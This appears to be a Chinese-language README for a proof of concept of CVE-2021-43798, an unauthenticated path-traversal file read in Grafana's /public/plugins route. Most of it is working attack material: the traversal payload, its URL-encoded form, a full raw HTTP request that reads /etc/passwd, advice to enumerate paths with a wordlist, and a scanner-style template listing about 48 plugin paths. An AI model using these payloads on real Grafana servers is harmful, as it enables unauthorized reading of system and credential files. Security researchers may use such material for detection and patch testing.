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cve-2021-43798-grafana-file-read's Introduction

Grafana-File-Read

Grafana未授权文件读取

影响版本：8.0.0-lastest reference: - https://github.com/tangxiaofeng7/Grafana-File-Read

wecom-temp-e380dc0174f4d9f46e9e217a6e2c3ddb

利用Grafana /public/plugins 接口对url路由校验不严格的漏洞读取服务器本地任意文件。

poc: /public/plugins/icon/../../../../../../../../../../../../../../../../../..{path}

其中 {path}为本地文件绝对路径，如读取/etc/passwd即为：

/public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd

可通过字典枚举{path}进行目录遍历

使用浏览器直接提交时需要将

../../../../../../../../../../../../../../../../../..

编码为

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..

避免被浏览器优化，即：

/public/plugins/icon/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd

GET /public/plugins/icon/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

image

其他可用poc：

requests:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/alertGroups/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/icon/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/alertmanager/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/annolist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/barchart/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/bargauge/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/canvas/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/cloudwatch/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/dashboard/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/dashlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/debug/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/elasticsearch/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/gauge/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/geomap/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/gettingstarted/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/grafana-azure-monitor-datasource/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/grafana/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/graph/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/graphite/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/heatmap/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/histogram/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/influxdb/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/jaeger/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/live/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/loki/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/mixed/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/mssql/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/mysql/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/news/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/nodeGraph/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/opentsdb/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/piechart/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/pluginlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/postgres/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/prometheus/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/stat/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/state-timeline/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/status-history/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/table-old/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/table/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/tempo/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/testdata/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/text/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/timeseries/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/welcome/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/xychart/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/zipkin/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

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